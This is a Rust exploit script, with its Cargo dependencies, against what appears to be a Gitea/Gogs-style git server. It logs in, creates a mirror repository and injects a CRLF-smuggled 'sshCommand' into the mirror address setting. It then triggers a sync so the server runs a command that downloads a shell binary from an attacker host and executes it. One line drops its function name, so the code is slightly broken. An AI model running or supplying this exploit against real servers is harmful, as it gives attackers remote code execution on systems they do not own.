[dependencies]
reqwest = { version = "0.11", default-features = false, features = ["rustls-tls", "cookies"] }
tokio = { version = "1", features = ["full"] }
anyhow = "1.0"
regex = "1.8"
tempfile = "3"
actix-web = "4.3"
actix-files = "0.6"
actix-service = "2.0"
rand = "0.8"
url = "2"
cookie = { version = "0.17", features = ["percent-encode"]}
use actix_files::Files;
use actix_web::{App, HttpServer};
use anyhow::Result;
use cookie::Cookie;
use rand::distributions::Alphanumeric;
use rand::{thread_rng, Rng};
use regex::Regex;
use reqwest::{cookie::CookieStore, cookie::Jar, Client};
use std::sync::Arc;
use std::{iter, path::Path};
use std::{process::exit, time::Duration};
use tokio::process::Command;
use url::Url;
#[tokio::main]
async fn main() -> Result<()> {
let username = "test";
let password = "password123";
let host_addr = "192.168.1.1";
let host_port: u16 = 3000;
let target_url = "http://192.168.1.2:3000".trim_end_matches("/").to_string();
let cmd =
"wget http://192.168.1.1:8080/shell -O /tmp/shell && chmod 777 /tmp/shell && /tmp/shell";
let http_timeout = Duration::from_secs(10);
let cookie_store = Arc::new(Jar::default());
let http_client = Client::builder()
.timeout(http_timeout)
.cookie_store(true)
.cookie_provider(cookie_store.clone())
.build()?;
println!("Logging in");
let body1 = [("user_name", username), ("password", password)];
let url1 = format!("{}/user/login", target_url);
let res1 = http_client.post(url1).form(&body1).send().await?;
if !res1.status().is_success() {
println!("Login unsuccessful");
exit(1);
}
println!("Logged in successfully");
println!("Retrieving user ID");
let res2 = http_client.get(format!("{}/", target_url)).send().await?;
if !res2.status().is_success() {
println!("Could not retrieve user ID");
exit(1);
}
let regexp_res2 =
Regex::new(r#"<meta name="_uid" content="(.+)" />"#).expect("compiling regexp_res2");
let body_res2 = res2.text().await?;
let user_id = regexp_res2
.captures_iter(&body_res2)
.filter_map(|captures| captures.get(0))
.map(|captured| captured.as_str().to_string())
.collect::<Vec<String>>()
.remove(0);
println!("Retrieved user ID: {}", &user_id);
// Hosting the repository to clone
// here we use an sync function in an aync function, but it's okay as we are developing an epxloit, no extreme performance
// is required
let git_temp = tempfile::tempdir()?;
exec_command("git", &["init"], git_temp.path()).await?;
exec_command("git", &["config", "user.email", "x@x.com"], git_temp.path()).await?;
exec_command("git", &["config", "user.name", "x"], git_temp.path()).await?;
exec_command("touch", &["x"], git_temp.path()).await?;
exec_command("git", &["add", "x"], git_temp.path()).await?;
exec_command("git", &["commit", "-m", "x"], git_temp.path()).await?;
let git_temp_path_str = git_temp
.path()
.to_str()
.expect("converting git_temp_path to &str");
let git_temp_repo = format!("{}.git", git_temp_path_str);
exec_command(
"git",
&["clone", "--bare", git_temp_path_str, git_temp_repo.as_str()],
git_temp.path(),
)
.await?;
exec_command("git", &["update-server-info"], &git_temp_repo).await?;
let endpoint = format!("{}:{}", &host_addr, host_port);
tokio::task::spawn_blocking(move || {
println!("Starting HTTP server");
// see here for how to run actix-web in a tokio runtime https://github.com/actix/actix-web/issues/1283
let actix_system = actix_web::rt::System::with_tokio_rt(|| {
tokio::runtime::Builder::new_multi_thread()
.enable_all()
.build()
.expect("building actix's web runtime")
});
actix_system.block_on(async move {
HttpServer::new(move || {
App::new().service(Files::new("/static", ".").prefer_utf8(true))
})
.bind(endpoint)
.expect("binding http server")
.run()
.await
.expect("running http server")
});
});
// handler = partial(http.server.SimpleHTTPRequestHandler,directory='/tmp')
// socketserver.TCPServer.allow_reuse_address = True
// httpd = socketserver.TCPServer(("", HOST_PORT), handler)
// t = threading.Thread(target=httpd.serve_forever)
// t.start()
// print('Created temporary git server to host {}.git'.format(gitTemp))
println!("Created temporary git server to host {}", &git_temp_repo);
println!("Creating repository");
let mut rng = thread_rng();
let repo_name: String = iter::repeat(())
.map(|()| rng.sample(Alphanumeric))
.map(char::from)
.take(8)
.collect();
let clone_addr = format!(
"http://{}:{}/{}.git",
host_addr, host_port, git_temp_path_str
);
let cookies_url = target_url.parse::<Url>().expect("parsing cookies url");
let csrf_token = (&cookie_store, &cookies_url)?;
let body3 = [
("_csrf", csrf_token.as_str()),
("uid", user_id.as_str()),
("repo_name", repo_name.as_str()),
("clone_addr", clone_addr.as_str()),
("mirror", "on"),
];
let res3 = http_client
.post(format!("{}/repo/migrate", target_url))
.form(&body3)
.send()
.await?;
if !res3.status().is_success() {
println!("Error creating repo");
exit(1);
}
println!("Repo {} created", &repo_name);
println!("Injecting command into repo");
let command_to_inject = format!(
r#"ssh://example.com/x/x"""\r\n[core]\r\nsshCommand="{}"\r\na=""""#,
&cmd
);
let csrf_token = get_csrf_token(&cookie_store, &cookies_url)?;
let body4 = [
("_csrf", csrf_token.as_str()),
("mirror_address", command_to_inject.as_str()),
("action", "mirror"),
("enable_prune", "on"),
("interval", "8h0m0s"),
];
let res4 = http_client
.post(format!(
"{}/{}/{}/settings",
target_url, &username, &repo_name
))
.form(&body4)
.send()
.await?;
if !res4.status().is_success() {
println!("Error injecting command");
exit(1);
}
println!("Command injected");
println!("Triggering command");
let csrf_token = get_csrf_token(&cookie_store, &cookies_url)?;
let body5 = [("_csrf", csrf_token.as_str()), ("action", "mirror-sync")];
let res5 = http_client
.post(format!(
"{}/{}/{}/settings",
target_url, &username, &repo_name
))
.form(&body5)
.send()
.await?;
if !res5.status().is_success() {
println!("Error triggering command");
exit(1);
}
println!("Command triggered");
Ok(())
}
fn get_csrf_token(cookies_jar: &Jar, cookies_url: &Url) -> Result<String, anyhow::Error> {
let cookies = cookies_jar
.cookies(&cookies_url)
.ok_or(anyhow::anyhow!("getting cookies from store"))?;
let csrf_cookie = cookies
.to_str()?
.split("; ")
.into_iter()
.map(|cookie| cookie.trim())
.filter_map(|cookie| Cookie::parse(cookie).ok())
.filter(|cookie| cookie.name() == "_csrf")
.next()
.ok_or(anyhow::anyhow!("getting csrf cookie from store"))?;
Ok(csrf_cookie.value().to_string())
}
async fn exec_command(program: &str, args: &[&str], working_dir: impl AsRef<Path>) -> Result<()> {
Command::new(program)
.args(args)
.current_dir(working_dir)
.spawn()?
.wait()
.await?;
Ok(())
}